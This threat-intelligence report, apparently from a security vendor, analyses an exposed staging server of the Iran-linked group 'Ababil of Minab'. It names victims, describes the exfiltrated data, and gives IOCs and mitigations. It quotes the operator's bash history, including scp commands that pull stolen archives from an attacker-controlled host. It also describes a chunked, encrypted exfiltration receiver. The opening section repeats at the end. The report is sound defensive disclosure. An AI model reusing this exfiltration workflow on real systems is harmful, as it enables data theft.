Ababil of Minab Exposed: LA Metro SCADA Backups and Israeli Victim Data Left Open on an Iranian Staging Server
Ababil of Minab Exposed: LA Metro SCADA Backups and Israeli Victim Data Left Open on an Iranian Staging Server
Published on
Ababil of Minab is a pro-Iranian threat actor that surfaced in late March 2026, claiming destructive intrusions against targets in the United States, Israel, Saudi Arabia, and Turkey, including a confirmed breach of the Los Angeles County Metropolitan Transportation Authority.
On May 26, 2026, Gambit Security published a technical report documenting SQL Server deletion, VM partition wipes, Veeam backup destruction, and file system damage across four victim environments, but deliberately withheld the identities of additional targets.
Hunt.io's AttackCapture found the group's primary staging server sitting completely open at 5.255.127[.]55:8020. The directory contained 2,238 files across 545 subdirectories, approximately 5 GB of exfiltrated data, the custom Flask receiver tool, and the identities of every victim the Gambit Security report left out.
Let's explore the key points of this research.
Key Takeaways
Hunt.io AttackCapture™ identified and captured the operator's staging server at 5.255.127[.]55, a Python SimpleHTTP server that was left completely open on a Netherlands VPS hosted by The Infrastructure Group B.V. (AS60404), first seen April 28, 2026.
The open directory contained 2,238 files totalling 5 GB across 545 subdirectories
The analysis of the open directory confirms victims across multiple sectors and countries. Organizations with dedicated coverage in this report include Ruppin Academic Center, bac.org.il, adabroker.com.tr, courier.co.il, and Ifat Media Group, alongside LA Metro as the primary confirmed target.
LA Metro (LACMTA) confirmed exfiltrated data is present in the staging directory, over 1 GB of Microsoft SQL Server database backups covering transit operations, personnel records, SCADA configurations, yard management systems, and Outlook PST archives of named employees.
The http.flask.py custom receiver and .bash_history recovered from the staging server confirm both exfiltration methods described in Gambit Security's report.
The .bash_history file shows the operator transferred data from a second server, 31.172.87[.]20, via SCP, corroborating Gambit Security's linkage to infrastructure previously associated with the nefeshhope[.]com, an Iranian phishing operation against IDF soldiers.
Plaintext Chrome password dumps, VPN credentials, network switch running configurations with passwords, and Outlook PST archives of named individuals were staged in the open directory, representing high-severity secondary exposure risks.
Here's the context behind the campaign and how Hunt.io's investigation unfolded.
Background
In late March and early April 2026, a pro-Iranian threat actor calling itself Ababil of Minab surfaced on Telegram (t[.]me/ababilofminab/7) claiming credit for destructive intrusions against high-profile targets in the United States and the Middle East. The group's first public claim involved the Los Angeles County Metropolitan Transportation Authority (LACMTA / LA Metro), which confirmed the breach on April 2, 2026.
The claims regarding the LA Metro have been published on the threat actor website at https://ababilofminab.io/metro-net-is-hacked. Some of the screenshots have been shared in this research as claimed reference from the threat actor.
Figure 1. The webpage by Ababil of Minab claiming hacking of LA Metro at https://ababilofminab.io/metro-net-is-hacked.
Figure 2. The OT system screenshot shared in evidence contains the Rail Yard Management / Train Control Display System, which was claimed to be hacked.
Figure 3. The screenshot of VMware vCenter Server with administrative access to LACMTA's core virtualization management platform was claimed to have been hacked.Subsequent claims included the South Florida Regional Transportation Authority (SFRTA), Saudi maintenance contractor UNIMAC, and consumer GPS tracking company Vyncs.
Figure 4. The additional claim by Ababil of Minab on the website at https://ababilofminab.io.On May 26, 2026, Gambit Security published a detailed technical report on the campaign titled "Ababil of Minab: An Iran-Linked Destruction and Exfiltration Campaign Targeting the U.S. and the Middle East". Gambit Security attributed the activity with high confidence to Black Shadow, an Iranian threat group they assess operates on behalf of the Ministry of Intelligence and Security (MOIS). Hunt.io has not independently verified this attribution.
The forensic link was established through infrastructure overlap with evidence that the operator's staging server had received files via SCP from 31.172.87[.]20. Hunt.io previously documented 31.172.87[.]20 serving a TLS certificate for nefeshhope[.]com, a fake post-trauma support portal used in August 2025 to target IDF soldiers and deliver malware. That domain was taken down by the Israel National Cyber Directorate on August 28, 2025. By April 2026, the same IP was being used as a secondary staging server for this campaign, with the operator pulling files from it directly via SCP.
Figure 5. The SSL history tracked by Hunt.io reveals a connection of IP 31.172.87[.]20 with the domain nefeshhope[.]com that strengthens the confidence in an Iranian threat actor.
Figure 6. Hunt.io intelligence linking nefeshhope[.]com with Pink Sandworm aka Black Shadow.Another attribution mentioned in the report was from an X tweet by researcher Simon Kenin, which linked the infrastructure to Black Shadow, an Iranian group operating on behalf of MOIS, Iran's Ministry of Intelligence and Security.
Gambit Security's report details information derived from the attacker's claims and outlines two attack vectors, while referencing additional unnamed victims. Using the disclosed IOCs, we traced the adversary's exposed Open Directory infrastructure.
Hunt.io's AttackCapture™ independently identified and captured the staging server before the publication of the Gambit Security report.
Initial Pivot and Discovery
Hunt.io AttackCapture™ continuously scans the internet for open directories and exposed infrastructure, cataloguing file listings and server characteristics as they appear.
We initially pivoted on the available IOCs given in the Gambit Security report to validate the open directory using AttackCapture™. The results show 6 successful validations pointing to the same open directory at 5.255.127[.]55:8020.
| Pivot Indicator | Type | Hunt Pivot |
|---|---|---|
| Exchangedb.exe | Filename | Hunt 1 |
| http.flask.py | Filename | Hunt 2 |
| admin@acmecloud.example | Cert pattern | Hunt 3 |
| 33a6b4900c2fbfb3c2d816947871eade800d0c0e2a2680871700fd6e640e5f20 | Sha256 | Hunt 4 |
| c8cc4225d1e21324ef419adbb1c10dd0578fb034b5f5d7b8000f0aae1871c061 | Sha256 | Hunt 5 |
| 81a25357d027d0f04a43139377d5d58384b8e9b0770e699cdcc37e600641cf90 | Sha256 | Hunt 6 |
Here's what the IP infrastructure and directory contents show.
On April 28, 2026, our scanning infrastructure recorded an HTTP 200 response from 5.255.127[.]55 on port 8020, presenting a Python SimpleHTTP 0.6 directory listing. The server was subsequently seen active through at least May 26, 2026.
The host is allocated to The Infrastructure Group B.V. (AS60404) in Lelystad, Flevoland, Netherlands, within the IP range 5.255.96.0/19. The server ran three observable services: SSH on port 22 (OpenSSH 9.6p1, first seen January 2024), the open directory on port 8020 (Python SimpleHTTP, first seen April 28, 2026), and an Apache HTTPD 2.4.58 instance on port 8087 (first seen May 4, 2026).
Figure 7. Hunt.io Intelligence shows a potentially malicious Open Directory hosted on 5.255.127[.]55 (AS60404), operated by The Infrastructure Group B.V. in the Netherlands.Hunt.io's intelligence provided historical visibility into the staging infrastructure, enabling reconstruction of its activity before public disclosure. The timeline below summarizes key observations associated with the server at 5.255.127[.]55.
| Date | Event | Observation |
|---|---|---|
| April 28, 2026 | Initial Discovery | Hunt.io first observed port 8020 on 5.255.127[.]55 serving a Python SimpleHTTP directory listing, indicating the presence of an exposed open directory. |
| May 4, 2026 | Additional Service Activation | An Apache HTTPD service became active on port 8087 of the same host, likely providing web-based access to staged data. |
| May 16, 2026 | Directory Snapshot Captured | AttackCapture™ archived a complete snapshot of the exposed directory structure, containing 2,238 files, 545 subdirectories, and approximately 5 GB of data. |
| May 26, 2026 | Public Disclosure | Gambit Security published its report detailing the intrusion activity. While the report referenced the staging infrastructure, the IP address 5.255.127[.]55 was not publicly disclosed. |
The open directory at 5.255.127[.]55:8020 contains 2,238 files, 545 subdirectories, and approximately 5 GB of content, and its directory structure is aligned with known victims of the Ababil of Minab campaign. The presence of http.flask.py, a TLS certificate pair (cert.pem / key.pem), and .bash_history at the root of the directory was an immediate indicator that this was not incidental staging infrastructure but the operator's primary working environment.
Figure 8. Hunt.io AttackCapture™ identified an exposed open directory hosted on 5.255.127[.]55:8020 (AS60404, Netherlands) containing 2,238 files across 545 subdirectories, totaling approximately 5 GB of data.To uncover the nature of the staging infrastructure, we systematically examined the contents of the exposed directory and its associated files.
Investigation and Analysis
The root of the open directory at 5.255.127[.]55:8020 reveals a Linux filesystem organized around victim folders and operator tools. The structure reflects both the pull-based exfiltration method and the push-based Flask receiver method. At the root level, alongside victim directories, the operator left their working files fully exposed, such as the Flask receiver script, TLS certificate pair, shell history, Python history, X11 authorization tokens, and desktop archive.
The Flask Receiver: http.flask.py
This script implements a secure, chunk-based file upload server using the Flask web framework. It allows clients to upload large files by splitting them into smaller encrypted chunks, which are individually transmitted, decrypted using AES-CBC encryption, and temporarily stored on the server.
Figure 9. The AES decryption workflow is used for processing encrypted file data and filenames. The decrypt_aes_cbc() function decrypts AES-CBC-encrypted content and removes padding, while decrypt_filename() decrypts and sanitizes encrypted filenames before storage.The UploadManager class manages upload sessions, tracks received chunks, supports interrupted upload resumption through persistent metadata, and assembles all chunks into the original file once the upload is complete. The application includes endpoints for initializing uploads, uploading chunks, checking upload progress, verifying chunk existence, and finalizing file assembly.
Figure 10. Implementation of the UploadManager class is responsible for managing upload sessions, tracking received chunks, maintaining upload metadata, supporting resumable uploads, and assembling uploaded files.Additional features include HTTPS support, configurable upload size limits, secure filename handling, automatic cleanup of temporary files, JSON-based API responses, and custom error handlers for oversized requests and invalid routes.
The application exposes several REST API endpoints that manage the complete file upload lifecycle, including upload initialization, chunk transfer, progress tracking, chunk verification, and final file assembly.
| Route | Method | Function | Purpose |
|---|---|---|---|
| /id | POST | init_upload_route | Initialize or resume an upload. |
| /state | POST | upload_chunk_route | Upload a decrypted chunk. |
/progress/
<file_id> | GET | get_upload_progress_route | Retrieve upload progress. |
/verify/
<chunk_hash> | GET | verify_chunk | Check if a chunk exists. |
| /finalize | POST | finalize_route | Assemble uploaded chunks into the final file. |
The Flask application redirects all 404 requests to https://www.fbi.gov/, a deliberate misdirection that makes the server appear benign to casual browsers.
Figure 11. Implementation of a custom Flask 404 handler that redirects all invalid route requests to the FBI website using an HTTP 302 response.The chunk_registry directory at the root of the staging server is the persistent storage for in-progress chunked uploads, and the temp/ directory holds partially assembled files organized by upload session ID.
Figure 12. Directory structure used for chunked file uploads, showing the chunk_registry folder for persistent chunk tracking and the temp directory for storing partially assembled files organized by upload session.The Bash History: Operator Workflow Reconstruction
The .bash_history file provides a near-complete reconstruction of the operator's working sessions over the campaign's active exfiltration phase. The operator's workflow for pulling data from victim web servers followed a consistent pattern, such as compressing data into multi-part RAR archives on the victim host, uploading to the victim's public web root, then downloading from the staging server using proxychains axel -n 8.
The bash history contains dozens of such download commands against media.ifat.com, which is a leading Israeli company in business information.
Figure 13. The sample of proxychains axel commands executed for ifat.com from the bash_history file.The history also records direct SCP transfers from 31.172.87[.]20, the second staging server tied to the nefeshhope[.]com infrastructure, onto the primary staging server:
scp root@31.172.87.20:/root/downloader/uploads/s.7z .
scp root@31.172.87.20:/root/downloader/uploads/a.7z .
scp root@31.172.87.20:/root/downloader/uploads/k.7z .
CopyThe certificate (used in http.flask.py) was generated directly on the staging server, as evidenced by the corresponding openssl req command in the .bash_history.
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/C=US/ST=California/L=San Francisco/O=Acme Cloud Solutions Inc/OU=IT/CN=localhost/emailAddress=admin@acmecloud.example"
CopyThe operator set up Apache on port 8087 and made the staged data web-accessible, chowning the directory to www-data. The operator also used the Ruppin Academic Center's staged data as an upload endpoint during a session using the Flask receiver, evident from the chunked upload artifacts in the ruppin/temp/ directory and corresponding metadata.json files tracking upload progress.
Figure 14. The metadata.json file sample is available for every session for tracking the progress of uploading data found in the ruppin directory.The additional commands of note in the history include the operator grepping through staged web application configs for connection strings (grep -ir "connectionstring"), reading VPN credential files, reviewing network switch configurations, and examining a plaintext list of FTP credentials for Israeli newspaper sites.
FileFiend: The Custom Uploader in the Wild
The FileFiend binaries, named by Gambit Security in their original report, appear under the decoy filename Exchangedb.exe, distributed across five victim subdirectories under the metro/ folder structure. The files appear in session directories named with numeric identifiers followed by the suffix_3869236902, each containing a tmp/ subdirectory with Exchangedb.exe.
Figure 15. Occurrence of FileFiend as Exchangedb.exe found in five subdirectories linked with the LA Metro confirmed.Victims: Naming What the Report Withheld
The data revealed a structured pattern in which folders were organized by victim names and contained associated data. Due to the substantial volume of exposed information, the collected snapshot successfully captured the directory listing and a significant portion of the available data; however, some larger files and data segments could not be fully retrieved.
The organizations identified during this investigation are documented below to assist potentially affected parties in assessing their exposure and to contribute accurate intelligence to the broader cybersecurity community.
Figure 16. List of identified victim organizations, including their respective countries and organizational names, derived from the exposed directory contents.Here's what the staging server contained for each organization.
LA Metro (LACMTA) - Depth of Staged Data
The metro/ directory is the largest in the staging server, totalling over 1 GB across 334 files. The metro/7443_3869236902/MTAdb/ subdirectory alone contains 107 Microsoft SQL Server .bak backup files spanning virtually every domain of LA Metro's IT infrastructure. The database names include AVL_01 (automatic vehicle location), BusStops, Maintenance, IncidentManagement, MTA22, EZPaySuite, RailYard, RestrictedSecurityAreaSurveillance, VehicleMonitoringDrone, and MDTS, among over 100 others. All backups are timestamped to March 9 - 15, 2026 - the window of the confirmed intrusion.
Figure 17. Snapshot of LA Metro Backups on the Attacker server having more than 100 files.The directory also contains personnel and operational documents from within the LA Metro environment, such as yard control SOPs, SCADA configuration notes, computer asset assignment spreadsheets across multiple divisions, safety shoe voucher forms, union documents, Oracle self-service benefits confirmations, and individual employee HR documents, including personal correspondence, OJT training forms with named trainees, and a dissolution-of-marriage filing for a named employee.
Figure 18. Snapshot of operational and personnel files and folders related to LA Metro.The PST archives recovered by FileFiend likely name specific LA Metro employees and internal systems, including conference room mailboxes, a government relations account, and accounts across multiple divisions.
Figure 19. PST files with a naming convention related to LA Metro were found on the attacker's server.Ruppin Academic Center - Active Chunked Upload
The Ruppin/ directory shows evidence of the Flask receiver being actively used to receive data from the Ruppin Academic Center, with over 2 GB of captured files across three active upload sessions.
Figure 20. Directory of Ruppin (Ruppin Academic Center) with over 2 GB of data across three active upload sessions, alongside the http.flask.py receiver and its certificate files.The temp/ subdirectory contains three large chunked upload sessions with GUIDs as session identifiers. The largest session directory (7a52b43e...) contains 647 chunk files representing approximately 2 GB of data in transit with Metadata.json files for track upload state.
The uploads/ subdirectory contains assembled archives, including MICHLOL.7z (33 MB and hints about https://www.michlolltd.co.il), database backups for systems named gptrumot, ZipCodes, ReportServerGOLDPLUS, and a series of segmented 7z archives corresponding to academic information systems.
Figure 21. 7z archives and Backups found in the upload server of the attacker under the ruppin folder.bac.org.il - Plaintext Credentials Exposed
The bac.org.il/ directory contains 536 MB of data with Zip archives and a backup.sql (83 MB). A WordPress database dump (shaarbac_wp.sql, 27 MB) is also present. The directory additionally contains large zip archives of what appear to be the site's full PHP codebase, content directories, and Solr search index.
Figure 22. A glance into the archive and backup of the bac.org.il folder on the attacker server.After analyzing the backup.sql, we have added a table to provide an overview of what the attacker actually got from them.
| Category | Tables | Purpose |
|---|---|---|
| Content & CMS | pages, authors, tags, pages_tags, pages_related, pages_parents, containers, banners, redirects, translations, languages | Core content management functionality supporting page creation, author management, multilingual content, taxonomy tagging, page relationships, layout containers, promotional banners, SEO-friendly redirects, and user interface translations. |
| Tickets & Events | TicketsXML | Stores ticketing and event-related information synchronized from an external SRO ticketing system, including seat availability, lock zones, sales periods, and ticket inventory. |
| Users & Access Control | users, locks, api_rules, request, contacts | Manages CMS user accounts, content editing locks, API access permissions, user registrations, and contact form submissions. |
| First Grade Feature | first_grade, first_grade_admin, first_grade_brochure | Supports a personalized first-grade video service by storing participant details, production workflow status, and brochure delivery information. |
| Logs & Monitoring | api_log, error_log, mylog | Records API activity, application errors, debugging information, and operational events for monitoring and troubleshooting purposes. |
| Infrastructure & Services | services, config, queue_emails | Provides application configuration management, background service tracking, and outbound email queue processing. |
adabroker.com.tr - Turkish Insurance PII
The adabroker.com.tr directory contains the full CMS database of Ada Sigorta ve Reasürans Brokerliği, a Turkish insurance brokerage whose database records date back to 1996. The exported tables cover 16 insurance product categories including aviation, maritime, health, and film/concert insurance (urunler_kategori.csv, urunler.csv), company page content including a CEO biography of Nejat Şehsuvar (sayfa.csv), site configuration pointing to http://adabroker.com.tr (settings.csv), a slider image referencing a Turkcell campaign (resim.csv), and quote request form definitions collecting PII fields including full name, date of birth, Turkish national ID number, phone, email, and address (form_bilesen.csv, form.csv).
The mesajlar.csv contact log contains customer enquiries with real names, email addresses, and phone numbers, and notably includes multiple messages from 2016 in which visitors reported a SQL injection vulnerability in the urunler.php endpoint to the company, followed immediately by rows showing automated injection probe payloads (response.write() expressions and boolean tests) confirming active exploitation attempts were recorded in the same table.
The visitor log (ziyaretci.csv) shows only loopback traffic from 2015 local development sessions, and the member table (uyeler.csv) holds a single empty record, indicating the public-facing registration system was unused.
Figure 23. Overview of files recovered from the adabroker.com.tr extracted archive, including multiple CSV files having almost 24 MB of sensitive data.This aligns with Gambit Security's description of "a Turkish insurance brokerage."
courier.co.il - Credential Dumps and SQL Injection Evidence
The courier.co.il/ directory (164 MB, 52 extracted files) contains data from an Israeli classified ads and news platform.
Figure 24. Overview of 52 files recovered from the courier.co.il extracted archive, including multiple CSV files having almost 164 MB of sensitive data.After analysis of CSV files, we have created a table to understand the data inside it.
| File | Content Summary |
|---|---|
| T_DAF.csv | Site taxonomy and navigation structure containing Russian-language category labels for news, board, and contact sections. |
| T_NEWS.csv | Collection of Russian-language news articles related to Israel, sourced from external content. |
| ads.csv | addresses. |
| ads_e.csv | English-language classified advertisements with poster contact information and associated email addresses. |
| board_member.csv | User account information, including member names, email addresses, and password hash data for administrative or board-related users. |
| list_all.csv | Credential-related records containing email addresses and MD5 password hashes associated with user accounts. |
| xmb_members.csv | Forum membership database containing administrator account information, password hashes, registration metadata, IP addresses, and user profile details. |
| powerban.csv | Banner management records; includes evidence of a SQL injection payload within application fields, indicating potential compromise or exploitation. |
| powerban_auth.csv | Banner administration authentication logs contain account credentials, password information, login activity, and SQL injection artifacts. |
| powerban_stats_views.csv | Historical banner impression and advertisement view statistics with no significant sensitive content. |
| sections_e.csv | Definitions and metadata for classified advertisement categories such as real estate, employment, vehicles, and pets. |
| txt_categories.csv | Content categorization records covering topics such as culture, business, and classified advertisements. |
| countries.csv | Standardized country reference list including country names and ISO code mappings. |
| zones.csv | Geographic reference dataset containing U.S. states and Canadian provinces. |
| twatch*.csv_ | Website analytics records containing browser statistics, user-agent information, referral data, and session metrics collected during 2010. |
| news.csv | News article repository containing Russian-language content, HTML fragments, publication timestamps, and source URLs. |
Ifat Media Group - VPN Credentials and Network Configs
The Ifat media group data, staged under the var/uuuuuua/ path (which maps to the /var/www/html/uuuuuua/ web root the operator created during the intrusion), is among the most sensitive in the staging directory.
It contains complete Cisco and Juniper switch running configurations with encrypted and, in some cases, plaintext credentials.
Figure 25. Switches configuration in the form of docx and txt found under the "uuuuuua" folder related to Ifat Media Group.A VPN batch script "connect_ifat_capsule.cmd" embeds plaintext credentials for a CheckPoint Endpoint Connect VPN gateway at sslvpn.ifat.com.
Similarly, the f.cmd script first checks whether it is running with administrative privileges. If elevated permissions are not available, it automatically generates and executes a temporary VBScript to relaunch itself using Windows User Account Control (UAC) with administrator rights.
Once elevated, the script collects local network configuration information using ipconfig, extracts an IP address matching the 172.16.x.x private network range, and stores it in a variable. It then uses this address to add a static route for the 172.20.20.0/24 network, directing traffic through the identified VPN or internal network gateway.
Figure 26. VPN folder shows a Proton VPN installer with 2 scripts for setting up CheckPoint Tunnel and VPN route for IP range.Moreover, a "Police2.zip" folder contains a few docx files, which appear to be an internal IT operations log detailing the deployment, maintenance, and troubleshooting of network infrastructure supporting a police transcription and records environment. The entries provide a chronological account of technical work performed between 2021 and 2022, including network routing, connectivity verification, and communications between support personnel and police representatives.
In addition to infrastructure-related information, the document contains highly sensitive operational details, including internal hostnames, IP addresses, domain information, system administration procedures, security software update processes, and credential management instructions for a CyberArk vault environment.
Figure 27. Extracted contents of the Police2.zip archive containing police-related operational and configuration documents.Chrome Password Dumps
One of the CSV files containing the 194 Chrome passwords was found under Ziv panelview.zip-extracted, with most belonging to the ".il" domain.
Figure 28. A sample of captured passwords from the Chrome Password.csv file that includes domains, URL, username, and passwords.Other Victims
Beyond the named victims already documented, the open directory contained data from several additional organizations that could not be fully attributed at capture time.
The CREATIX/ directory holds 149 MB of database backups explicitly named DBBackup_taam_tehara_titan.rar (89 MB) alongside four multi-part RAR archives, identifying Taam Tehara Titan as an Israeli food technology and kashrut management company whose full production database backup set was staged.
The orbital.co.il/ directory contains 81 MB across two multi-part RAR archives, confirming a distinct Israeli digital services organization as a target, though the archives were not extracted at capture time.
The moshelet/ directory holds four RAR parts pulled from media.ifat.com in a dedicated download session separate from other Ifat data collection, suggesting Moshelet is a distinct organization whose data was accessible through the Ifat infrastructure rather than an Ifat internal system.
The tnv/ directory contains a single data transfer.rar (14 MB), which the bash history confirms the operator extracted and examined interactively, the only victim dataset reviewed in real time during the captured session, suggesting particular interest in its contents.
The PST/accz.7z archive, renamed from accz.zip and stored alongside LA Metro mailbox collections, likely represents mailbox data from a separate unidentified victim environment, with the accz abbreviation pointing to an organization name yet to be confirmed.
Every organization in this report had something the attacker could reach. Here's what to close first.
Mitigation Strategies
Hunt for Exchangedb.exe across all endpoints and alert on any process by that name not associated with a legitimate Exchange Server installation.
Search for the three FileFiend SHA-256 hashes in EDR telemetry and retrospective logs, particularly on file servers and domain controllers.
Rotate credentials immediately for any system whose Web.config, running-config, or connection string files may have been accessible through a compromised shared hosting infrastructure.
Restrict web application service accounts from writing to the web root; the operator's primary exfiltration method depended entirely on writing RAR archives to the victim's own public directory.
Monitor web server access logs for sequential multi-part archive downloads (data.part1.rar, data.part2.rar) which is the clearest behavioral signature of the pull-based exfiltration technique used across all victims.
Block or alert on outbound connections to port 443 from server-class machines where the TLS certificate subject contains acmecloud.example, the Flask receiver's hardcoded certificate identity.
Ensure database backup files are never stored in or accessible from the web root, and that backup naming conventions do not expose environment details such as server names or instance identifiers.
The techniques behind these recommendations map directly to what the operator used across every victim environment.
MITRE ATT&CK Mapping
| Technique ID | Name | Evidence |
|---|---|---|
| T1102 | Web Service | Victim data was staged in the victim's own web root and retrieved remotely using the Axel download utility over HTTP. |
| T1048 | Exfiltration Over Alternative Protocol | A custom Flask-based receiver using AES-CBC encryption accepted chunked file uploads over HTTPS on port 443. |
| T1560.001 | Archive via Utility | Multi-part RAR archives were created on victim systems, while 7-Zip archives were generated on the staging server for data aggregation. |
| T1090.003 | Multi-hop Proxy | Proxychains was consistently used throughout the bash history to route download operations through multiple proxy hops. |
| T1119 | Automated Collection | The FileFiend tool (Exchangedb.exe) automatically enumerated local drives and SMB network shares for data collection. |
| T1005 | Data from Local System | Collected data included database backups, PST email files, configuration files, and exported credentials from victim systems. |
| T1555.003 | Credentials from Web Browsers | Browser credential dumps, including Chrome Passwords.csv, were identified within the staging environment. |
| T1552.001 | Credentials in Files | Plaintext credentials such as VPN accounts, database connection strings, and network device passwords were harvested from files. |
| T1071.001 | Web Protocols (C2) | HTTPS-based communications were used for both the Flask data receiver and Axel download operations. |
| T1036.005 | Masquerading: Match Legitimate Name or Location | The FileFiend malware was disguised as Exchangedb.exe, imitating a legitimate Microsoft Exchange-related utility. |
| T1485 | Data Destruction | SQL Server database deletion and file system destruction via Windows Explorer observed across victim environments. |
| T1561.002 | Disk Structure Wipe | VM partition wipes executed via Disk Management across multiple victim environments. |
The indicators below correspond directly to the infrastructure and tooling documented in the MITRE mapping above.
Indicators of Compromise
| Indicator | Type | Notes |
|---|---|---|
| 5.255.127[.]55 | IPv4 | Operator staging server with an open directory on port 8020 and Apache service on port 8087; hosted under AS60404 (Netherlands). |
| 31.172.87[.]20 | IPv4 | Secondary staging server observed as an SCP source in bash history; previously hosted TLS services for nefeshhope[.]com. |
| 81a25357d027d0f04a43139377d5d58384b8e9b0770e699cdcc37e600641cf90 | SHA-256 | FileFiend / Exchangedb.exe malware sample (Variant 1). |
| c8cc4225d1e21324ef419adbb1c10dd0578fb034b5f5d7b8000f0aae1871c061 | SHA-256 | FileFiend / Exchangedb.exe malware sample (Variant 2). |
| 33a6b4900c2fbfb3c2d816947871eade800d0c0e2a2680871700fd6e640e5f20 | SHA-256 | FileFiend / Exchangedb.exe malware sample (Variant 3). |
| nefeshhope[.]com | Domain | Operator-controlled website masquerading as an IDF support portal; linked to infrastructure at 31.172.87.20. |
| O=Acme Cloud Solutions Inc, CN=localhost, emailAddress=admin@acmecloud.example | TLS Subject | Self-signed certificate subject identified on the Flask receiver hosted at 5.255.127.55; corresponding cert.pem and key.pem files were present in the exposed directory. |
| Exchangedb.exe | Filename | Decoy filename used by the FileFiend uploader and found within multiple metro/ subdirectories. |
| http.flask.py | Tool | Custom Flask-based AES-CBC chunked file upload receiver discovered at the root of the staging server. |
Treat everything above as active. The campaign is ongoing.
Conclusion
The Ababil of Minab campaign is one of the more thorough Iranian intrusion operations documented in 2026, combining destructive wipes with systematic data theft across targets in the United States, Israel, and Turkey. The victim list spans a major transit authority, an academic institution, a media group, an insurance brokerage, and several Israeli digital services organizations. Geography, not sector, is the common thread.
The operator left their primary staging server completely open to the internet for at least four weeks, and it stayed up through late May 2026, weeks after Gambit Security published and after Ababil of Minab went quiet on Telegram. That failure gave AttackCapture full visibility into the exfiltration environment and the identities of every victim the Gambit Security report withheld. Treat the IoCs in this report as active, not historical.
→ Hunt.io's AttackCapture identified and captured this staging server before it was publicly disclosed. If you want visibility into exposed attacker infrastructure, open directories, and active staging servers in your region, book a free demo.
Ababil of Minab is a pro-Iranian threat actor that surfaced in late March 2026, claiming destructive intrusions against targets in the United States, Israel, Saudi Arabia, and Turkey, including a confirmed breach of the Los Angeles County Metropolitan Transportation Authority.
On May 26, 2026, Gambit Security published a technical report documenting SQL Server deletion, VM partition wipes, Veeam backup destruction, and file system damage across four victim environments, but deliberately withheld the identities of additional targets.
Hunt.io's AttackCapture found the group's primary staging server sitting completely open at 5.255.127[.]55:8020. The directory contained 2,238 files across 545 subdirectories, approximately 5 GB of exfiltrated data, the custom Flask receiver tool, and the identities of every victim the Gambit Security report left out.
Let's explore the key points of this research.
Key Takeaways
Hunt.io AttackCapture™ identified and captured the operator's staging server at 5.255.127[.]55, a Python SimpleHTTP server that was left completely open on a Netherlands VPS hosted by The Infrastructure Group B.V. (AS60404), first seen April 28, 2026.
The open directory contained 2,238 files totalling 5 GB across 545 subdirectories
The analysis of the open directory confirms victims across multiple sectors and countries. Organizations with dedicated coverage in this report include Ruppin Academic Center, bac.org.il, adabroker.com.tr, courier.co.il, and Ifat Media Group, alongside LA Metro as the primary confirmed target.
LA Metro (LACMTA) confirmed exfiltrated data is present in the staging directory, over 1 GB of Microsoft SQL Server database backups covering transit operations, personnel records, SCADA configurations, yard management systems, and Outlook PST archives of named employees.
The http.flask.py custom receiver and .bash_history recovered from the staging server confirm both exfiltration methods described in Gambit Security's report.
The .bash_history file shows the operator transferred data from a second server, 31.172.87[.]20, via SCP, corroborating Gambit Security's linkage to infrastructure previously associated with the nefeshhope[.]com, an Iranian phishing operation against IDF soldiers.
Plaintext Chrome password dumps, VPN credentials, network switch running configurations with passwords, and Outlook PST archives of named individuals were staged in the open directory, representing high-severity secondary exposure risks.
Here's the context behind the campaign and how Hunt.io's investigation unfolded.
Background
In late March and early April 2026, a pro-Iranian threat actor calling itself Ababil of Minab surfaced on Telegram (t[.]me/ababilofminab/7) claiming credit for destructive intrusions against high-profile targets in the United States and the Middle East. The group's first public claim involved the Los Angeles County Metropolitan Transportation Authority (LACMTA / LA Metro), which confirmed the breach on April 2, 2026.
The claims regarding the LA Metro have been published on the threat actor website at https://ababilofminab.io/metro-net-is-hacked. Some of the screenshots have been shared in this research as claimed reference from the threat actor.
Figure 1. The webpage by Ababil of Minab claiming hacking of LA Metro at https://ababilofminab.io/metro-net-is-hacked.Figure 2. The OT system screenshot shared in evidence contains the Rail Yard Management / Train Control Display System, which was claimed to be hacked.Figure 3. The screenshot of VMware vCenter Server with administrative access to LACMTA's core virtualization management platform was claimed to have been hacked.Subsequent claims included the South Florida Regional Transportation Authority (SFRTA), Saudi maintenance contractor UNIMAC, and consumer GPS tracking company Vyncs.
Figure 4. The additional claim by Ababil of Minab on the website at https://ababilofminab.io.On May 26, 2026, Gambit Security published a detailed technical report on the campaign titled "Ababil of Minab: An Iran-Linked Destruction and Exfiltration Campaign Targeting the U.S. and the Middle East". Gambit Security attributed the activity with high confidence to Black Shadow, an Iranian threat group they assess operates on behalf of the Ministry of Intelligence and Security (MOIS). Hunt.io has not independently verified this attribution.
The forensic link was established through infrastructure overlap with evidence that the operator's staging server had received files via SCP from 31.172.87[.]20. Hunt.io previously documented 31.172.87[.]20 serving a TLS certificate for nefeshhope[.]com, a fake post-trauma support portal used in August 2025 to target IDF soldiers and deliver malware. That domain was taken down by the Israel National Cyber Directorate on August 28, 2025. By April 2026, the same IP was being used as a secondary staging server for this campaign, with the operator pulling files from it directly via SCP.
Figure 5. The SSL history tracked by Hunt.io reveals a connection of IP 31.172.87[.]20 with the domain nefeshhope[.]com that strengthens the confidence in an Iranian threat actor.Figure 6. Hunt.io intelligence linking nefeshhope[.]com with Pink Sandworm aka Black Shadow.Another attribution mentioned in the report was from an X tweet by researcher Simon Kenin, which linked the infrastructure to Black Shadow, an Iranian group operating on behalf of MOIS, Iran's Ministry of Intelligence and Security.
Gambit Security's report details information derived from the attacker's claims and outlines two attack vectors, while referencing additional unnamed victims. Using the disclosed IOCs, we traced the adversary's exposed Open Directory infrastructure.
Hunt.io's AttackCapture™ independently identified and captured the staging server before the publication of the Gambit Security report.
Initial Pivot and Discovery
Hunt.io AttackCapture™ continuously scans the internet for open directories and exposed infrastructure, cataloguing file listings and server characteristics as they appear.
We initially pivoted on the available IOCs given in the Gambit Security report to validate the open directory using AttackCapture™. The results show 6 successful validations pointing to the same open directory at 5.255.127[.]55:8020.
| Pivot Indicator | Type | Hunt Pivot |
|---|---|---|
| Exchangedb.exe | Filename | Hunt 1 |
| http.flask.py | Filename | Hunt 2 |
| admin@acmecloud.example | Cert pattern | Hunt 3 |
| 33a6b4900c2fbfb3c2d816947871eade800d0c0e2a2680871700fd6e640e5f20 | Sha256 | Hunt 4 |
| c8cc4225d1e21324ef419adbb1c10dd0578fb034b5f5d7b8000f0aae1871c061 | Sha256 | Hunt 5 |
| 81a25357d027d0f04a43139377d5d58384b8e9b0770e699cdcc37e600641cf90 | Sha256 | Hunt 6 |
Here's what the IP infrastructure and directory contents show.
